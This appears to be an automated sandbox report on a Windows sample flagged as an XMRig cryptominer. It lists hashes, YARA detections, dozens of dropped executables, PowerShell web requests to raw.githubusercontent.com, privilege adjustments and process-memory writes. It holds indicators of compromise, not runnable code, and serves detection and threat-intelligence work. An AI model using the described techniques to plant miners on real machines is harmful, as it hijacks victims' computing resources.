xmrig | 465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65

Analysis

max time kernel
89s
max time network
105s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
01-07-2024 09:16

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
Size

1.8MB
MD5

2396cf4a62117365e7032d513c06d650
SHA1

22c79062eb960eaf9917083a4a2e42706d0cb4a2
SHA256

465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65
SHA512

eb2ef7afbb1eb80e429744dcabccec36cf6da895c799401e0d3ea37637bfb868359fc65fd2b17c38412aba634ccdde7638390b877725d132a38988e8efc56e34
SSDEEP

24576:zv3/fTLF671TilQFG4P5PMkyW1HU/ek5Qk7SW7r+kQQ7dXQARBa5e0ag2K0hvL7J:Lz071uv4BPMkyW10/wKV7hjSe05c2H4

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 45 IoCs

miner

resource	yara_rule
behavioral2/memory/3628-15-0x00007FF6CF0B0000-0x00007FF6CF4A2000-memory.dmp	xmrig
behavioral2/memory/3352-89-0x00007FF635520000-0x00007FF635912000-memory.dmp	xmrig
behavioral2/memory/4840-142-0x00007FF75F140000-0x00007FF75F532000-memory.dmp	xmrig
behavioral2/memory/2796-149-0x00007FF7716D0000-0x00007FF771AC2000-memory.dmp	xmrig
behavioral2/memory/244-178-0x00007FF7AB330000-0x00007FF7AB722000-memory.dmp	xmrig
behavioral2/memory/4988-212-0x00007FF663B40000-0x00007FF663F32000-memory.dmp	xmrig
behavioral2/memory/4904-3565-0x00007FF649370000-0x00007FF649762000-memory.dmp	xmrig
behavioral2/memory/2312-3631-0x00007FF65EFD0000-0x00007FF65F3C2000-memory.dmp	xmrig
behavioral2/memory/1300-3660-0x00007FF794D10000-0x00007FF795102000-memory.dmp	xmrig
behavioral2/memory/4840-3720-0x00007FF75F140000-0x00007FF75F532000-memory.dmp	xmrig
behavioral2/memory/2292-4255-0x00007FF6559B0000-0x00007FF655DA2000-memory.dmp	xmrig
behavioral2/memory/756-3734-0x00007FF67C090000-0x00007FF67C482000-memory.dmp	xmrig
behavioral2/memory/4988-3730-0x00007FF663B40000-0x00007FF663F32000-memory.dmp	xmrig
behavioral2/memory/2796-3725-0x00007FF7716D0000-0x00007FF771AC2000-memory.dmp	xmrig
behavioral2/memory/3368-3715-0x00007FF6D2D70000-0x00007FF6D3162000-memory.dmp	xmrig
behavioral2/memory/2296-3709-0x00007FF615220000-0x00007FF615612000-memory.dmp	xmrig
behavioral2/memory/4628-3704-0x00007FF6B22B0000-0x00007FF6B26A2000-memory.dmp	xmrig
behavioral2/memory/4740-3699-0x00007FF70B770000-0x00007FF70BB62000-memory.dmp	xmrig
behavioral2/memory/612-3683-0x00007FF7F5910000-0x00007FF7F5D02000-memory.dmp	xmrig
behavioral2/memory/2740-3676-0x00007FF7A4EB0000-0x00007FF7A52A2000-memory.dmp	xmrig
behavioral2/memory/3292-3669-0x00007FF789E30000-0x00007FF78A222000-memory.dmp	xmrig
behavioral2/memory/876-3655-0x00007FF61FED0000-0x00007FF6202C2000-memory.dmp	xmrig
behavioral2/memory/3752-3644-0x00007FF783C90000-0x00007FF784082000-memory.dmp	xmrig
behavioral2/memory/244-3643-0x00007FF7AB330000-0x00007FF7AB722000-memory.dmp	xmrig
behavioral2/memory/3352-3628-0x00007FF635520000-0x00007FF635912000-memory.dmp	xmrig
behavioral2/memory/3636-3621-0x00007FF7324E0000-0x00007FF7328D2000-memory.dmp	xmrig
behavioral2/memory/3692-3617-0x00007FF61BD90000-0x00007FF61C182000-memory.dmp	xmrig
behavioral2/memory/1440-3609-0x00007FF7F81E0000-0x00007FF7F85D2000-memory.dmp	xmrig
behavioral2/memory/2292-3610-0x00007FF6559B0000-0x00007FF655DA2000-memory.dmp	xmrig
behavioral2/memory/756-216-0x00007FF67C090000-0x00007FF67C482000-memory.dmp	xmrig
behavioral2/memory/3368-208-0x00007FF6D2D70000-0x00007FF6D3162000-memory.dmp	xmrig
behavioral2/memory/4740-204-0x00007FF70B770000-0x00007FF70BB62000-memory.dmp	xmrig
behavioral2/memory/612-200-0x00007FF7F5910000-0x00007FF7F5D02000-memory.dmp	xmrig
behavioral2/memory/2740-196-0x00007FF7A4EB0000-0x00007FF7A52A2000-memory.dmp	xmrig
behavioral2/memory/3292-190-0x00007FF789E30000-0x00007FF78A222000-memory.dmp	xmrig
behavioral2/memory/876-184-0x00007FF61FED0000-0x00007FF6202C2000-memory.dmp	xmrig
behavioral2/memory/4904-156-0x00007FF649370000-0x00007FF649762000-memory.dmp	xmrig
behavioral2/memory/2296-145-0x00007FF615220000-0x00007FF615612000-memory.dmp	xmrig
behavioral2/memory/4628-137-0x00007FF6B22B0000-0x00007FF6B26A2000-memory.dmp	xmrig
behavioral2/memory/1300-131-0x00007FF794D10000-0x00007FF795102000-memory.dmp	xmrig
behavioral2/memory/3752-116-0x00007FF783C90000-0x00007FF784082000-memory.dmp	xmrig
behavioral2/memory/3636-103-0x00007FF7324E0000-0x00007FF7328D2000-memory.dmp	xmrig
behavioral2/memory/3692-83-0x00007FF61BD90000-0x00007FF61C182000-memory.dmp	xmrig
behavioral2/memory/1440-69-0x00007FF7F81E0000-0x00007FF7F85D2000-memory.dmp	xmrig
behavioral2/memory/2312-65-0x00007FF65EFD0000-0x00007FF65F3C2000-memory.dmp	xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
8	1660	powershell.exe
10	1660	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
1660	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
3628	lNNzYID.exe
4904	eQtENRN.exe
4304	AvTaCXX.exe
2312	xskkupC.exe
1440	RuLiWkf.exe
3692	WKHDome.exe
3352	LUWVoRP.exe
244	NxTWQLz.exe
3636	iUEtfNk.exe
3752	FGpxJpF.exe
1300	phsNfOg.exe
876	mfbMNrE.exe
3292	VEgJYAN.exe
2740	KUuTiyt.exe
612	wnlJjNc.exe
4740	SmQDXHj.exe
4628	SxxHczm.exe
4840	OFfbmjE.exe
2296	FxiVnPt.exe
2292	WOemIoJ.exe
3368	vDIUxiW.exe
2796	MlGxCOW.exe
4988	VKPzBeL.exe
756	nQTIDaY.exe
4860	BZdOUyh.exe
2568	WwNOeJT.exe
4500	uxJPbaT.exe
1124	worLSiU.exe
3136	FOFYZIl.exe
1652	uCcUFcV.exe
1896	lwgwsmF.exe
3956	xVmJGOi.exe
1580	CoZcOix.exe
4784	MNCLbfQ.exe
1284	PpJriuf.exe
3948	pdGkvGm.exe
5096	UPJbGsY.exe
4812	pImnpRN.exe
1720	MEkhWXl.exe
2512	fOuEqyf.exe
4424	hQybnQz.exe
1468	dkSCIWQ.exe
3688	YqKcOAB.exe
3324	BLIRBcI.exe
4676	ZgrrzpY.exe
4340	ImJsKaW.exe
1924	AyATOCQ.exe
4348	uUpJNaN.exe
4680	AkThZOX.exe
4760	IafHKjN.exe
432	VkPjuhh.exe
3992	lAjVVjx.exe
4024	bIeeQLc.exe
1572	xqnoyGz.exe
804	PuywxJl.exe
5012	KmofXjH.exe
4028	Jeyvokz.exe
3224	jqauoPK.exe
2736	OKqOJNX.exe
4920	BnCNjND.exe
956	gpPfqiK.exe
5072	IwPHIJP.exe
1432	nexsjDz.exe
3032	KjmvMuE.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4332-0-0x00007FF7A9550000-0x00007FF7A9942000-memory.dmp	upx
behavioral2/files/0x0009000000023417-6.dat	upx
behavioral2/files/0x000700000002341c-9.dat	upx
behavioral2/memory/3628-15-0x00007FF6CF0B0000-0x00007FF6CF4A2000-memory.dmp	upx
behavioral2/files/0x000700000002341b-12.dat	upx
behavioral2/files/0x000700000002341f-32.dat	upx
behavioral2/files/0x0007000000023420-33.dat	upx
behavioral2/files/0x0007000000023422-46.dat	upx
behavioral2/files/0x0007000000023424-55.dat	upx
behavioral2/files/0x0007000000023425-64.dat	upx
behavioral2/files/0x0007000000023426-66.dat	upx
behavioral2/memory/3352-89-0x00007FF635520000-0x00007FF635912000-memory.dmp	upx
behavioral2/files/0x000700000002342c-115.dat	upx
behavioral2/files/0x000700000002342b-121.dat	upx
behavioral2/files/0x000700000002342f-128.dat	upx
behavioral2/files/0x000800000002342a-135.dat	upx
behavioral2/memory/4840-142-0x00007FF75F140000-0x00007FF75F532000-memory.dmp	upx
behavioral2/memory/2796-149-0x00007FF7716D0000-0x00007FF771AC2000-memory.dmp	upx
behavioral2/files/0x0007000000023431-157.dat	upx
behavioral2/files/0x0007000000023433-168.dat	upx
behavioral2/memory/244-178-0x00007FF7AB330000-0x00007FF7AB722000-memory.dmp	upx
behavioral2/files/0x0007000000023438-187.dat	upx
behavioral2/memory/4988-212-0x00007FF663B40000-0x00007FF663F32000-memory.dmp	upx
behavioral2/memory/4904-3565-0x00007FF649370000-0x00007FF649762000-memory.dmp	upx
behavioral2/memory/2312-3631-0x00007FF65EFD0000-0x00007FF65F3C2000-memory.dmp	upx
behavioral2/memory/1300-3660-0x00007FF794D10000-0x00007FF795102000-memory.dmp	upx
behavioral2/memory/4840-3720-0x00007FF75F140000-0x00007FF75F532000-memory.dmp	upx
behavioral2/memory/2292-4255-0x00007FF6559B0000-0x00007FF655DA2000-memory.dmp	upx
behavioral2/memory/756-3734-0x00007FF67C090000-0x00007FF67C482000-memory.dmp	upx
behavioral2/memory/4988-3730-0x00007FF663B40000-0x00007FF663F32000-memory.dmp	upx
behavioral2/memory/2796-3725-0x00007FF7716D0000-0x00007FF771AC2000-memory.dmp	upx
behavioral2/memory/3368-3715-0x00007FF6D2D70000-0x00007FF6D3162000-memory.dmp	upx
behavioral2/memory/2296-3709-0x00007FF615220000-0x00007FF615612000-memory.dmp	upx
behavioral2/memory/4628-3704-0x00007FF6B22B0000-0x00007FF6B26A2000-memory.dmp	upx
behavioral2/memory/4740-3699-0x00007FF70B770000-0x00007FF70BB62000-memory.dmp	upx
behavioral2/memory/612-3683-0x00007FF7F5910000-0x00007FF7F5D02000-memory.dmp	upx
behavioral2/memory/2740-3676-0x00007FF7A4EB0000-0x00007FF7A52A2000-memory.dmp	upx
behavioral2/memory/3292-3669-0x00007FF789E30000-0x00007FF78A222000-memory.dmp	upx
behavioral2/memory/876-3655-0x00007FF61FED0000-0x00007FF6202C2000-memory.dmp	upx
behavioral2/memory/3752-3644-0x00007FF783C90000-0x00007FF784082000-memory.dmp	upx
behavioral2/memory/244-3643-0x00007FF7AB330000-0x00007FF7AB722000-memory.dmp	upx
behavioral2/memory/3352-3628-0x00007FF635520000-0x00007FF635912000-memory.dmp	upx
behavioral2/memory/3636-3621-0x00007FF7324E0000-0x00007FF7328D2000-memory.dmp	upx
behavioral2/memory/3692-3617-0x00007FF61BD90000-0x00007FF61C182000-memory.dmp	upx
behavioral2/memory/1440-3609-0x00007FF7F81E0000-0x00007FF7F85D2000-memory.dmp	upx
behavioral2/memory/2292-3610-0x00007FF6559B0000-0x00007FF655DA2000-memory.dmp	upx
behavioral2/memory/756-216-0x00007FF67C090000-0x00007FF67C482000-memory.dmp	upx
behavioral2/memory/3368-208-0x00007FF6D2D70000-0x00007FF6D3162000-memory.dmp	upx
behavioral2/memory/4740-204-0x00007FF70B770000-0x00007FF70BB62000-memory.dmp	upx
behavioral2/memory/612-200-0x00007FF7F5910000-0x00007FF7F5D02000-memory.dmp	upx
behavioral2/memory/2740-196-0x00007FF7A4EB0000-0x00007FF7A52A2000-memory.dmp	upx
behavioral2/files/0x0007000000023439-193.dat	upx
behavioral2/files/0x0007000000023437-191.dat	upx
behavioral2/memory/3292-190-0x00007FF789E30000-0x00007FF78A222000-memory.dmp	upx
behavioral2/files/0x0007000000023436-185.dat	upx
behavioral2/memory/876-184-0x00007FF61FED0000-0x00007FF6202C2000-memory.dmp	upx
behavioral2/files/0x0007000000023435-179.dat	upx
behavioral2/files/0x0007000000023434-173.dat	upx
behavioral2/files/0x0007000000023432-162.dat	upx
behavioral2/memory/4904-156-0x00007FF649370000-0x00007FF649762000-memory.dmp	upx
behavioral2/memory/2292-146-0x00007FF6559B0000-0x00007FF655DA2000-memory.dmp	upx
behavioral2/memory/2296-145-0x00007FF615220000-0x00007FF615612000-memory.dmp	upx
behavioral2/files/0x0007000000023430-143.dat	upx
behavioral2/files/0x000700000002342e-138.dat	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
7	raw.githubusercontent.com
8	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\GSnneFl.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\PlOUnzP.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\XGQLqrH.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\mmbqKII.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\SPIjAyZ.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\IsDXoCZ.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\HniqcDs.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\eUdiMDs.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\UtCSMzm.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\EyTXMqj.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\wpUyKGZ.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\iHzYgXX.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\TiEADEg.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\XYCUfQR.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\EkZVtBz.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\sSbDkni.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\RMAaChb.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\VAbwYsJ.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\pePMkqq.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\lwgwsmF.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\CYIfnQY.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\foMUTQV.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\PwOiysg.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\KUubObp.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\beAEswc.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\GbfrrMp.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\YeEmjVF.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\DtyJRvt.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\VPzCBXn.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\zylIrYh.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\MdDoyRG.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\jnUJeDp.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\FSJDXSn.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\LHiWkRT.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\WOemIoJ.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\IHwAjXY.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\ysfNmxf.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\jZUTrid.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\UlHkSuN.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\dnDUhfC.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\scmvdqQ.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\XKKwXbD.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\EuBaFmp.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\kqrMkuM.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\RSwfvFq.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\NlLxQxs.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\fXbeECI.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\ucweWZq.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\HCfHQNc.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\gFIhWNP.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\PZvgout.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\eCYOptx.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\AzAgsFF.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\bcbymzZ.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\lyvhySM.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\MniUfla.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\WKHDome.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\WLNquTI.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\QEBkQBI.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\OhbkfAX.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\qhNRDzO.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\PxltAaZ.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\iLRuhBl.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
File created	C:\Windows\System\htNWnIl.exe	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1660	powershell.exe
1660	powershell.exe
1660	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
Token: SeLockMemoryPrivilege	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
Token: SeDebugPrivilege	1660	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4332 wrote to memory of 1660	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	82
PID 4332 wrote to memory of 1660	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	82
PID 4332 wrote to memory of 3628	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	83
PID 4332 wrote to memory of 3628	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	83
PID 4332 wrote to memory of 4904	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	84
PID 4332 wrote to memory of 4904	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	84
PID 4332 wrote to memory of 4304	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	85
PID 4332 wrote to memory of 4304	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	85
PID 4332 wrote to memory of 2312	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	86
PID 4332 wrote to memory of 2312	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	86
PID 4332 wrote to memory of 1440	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	87
PID 4332 wrote to memory of 1440	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	87
PID 4332 wrote to memory of 3692	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	88
PID 4332 wrote to memory of 3692	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	88
PID 4332 wrote to memory of 3352	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	89
PID 4332 wrote to memory of 3352	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	89
PID 4332 wrote to memory of 244	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	90
PID 4332 wrote to memory of 244	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	90
PID 4332 wrote to memory of 3636	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	91
PID 4332 wrote to memory of 3636	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	91
PID 4332 wrote to memory of 3752	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	92
PID 4332 wrote to memory of 3752	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	92
PID 4332 wrote to memory of 1300	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	93
PID 4332 wrote to memory of 1300	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	93
PID 4332 wrote to memory of 876	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	94
PID 4332 wrote to memory of 876	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	94
PID 4332 wrote to memory of 3292	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	95
PID 4332 wrote to memory of 3292	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	95
PID 4332 wrote to memory of 2740	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	96
PID 4332 wrote to memory of 2740	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	96
PID 4332 wrote to memory of 612	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	97
PID 4332 wrote to memory of 612	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	97
PID 4332 wrote to memory of 4740	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	98
PID 4332 wrote to memory of 4740	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	98
PID 4332 wrote to memory of 4628	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	99
PID 4332 wrote to memory of 4628	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	99
PID 4332 wrote to memory of 4840	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	100
PID 4332 wrote to memory of 4840	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	100
PID 4332 wrote to memory of 2296	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	101
PID 4332 wrote to memory of 2296	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	101
PID 4332 wrote to memory of 2292	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	102
PID 4332 wrote to memory of 2292	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	102
PID 4332 wrote to memory of 3368	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	103
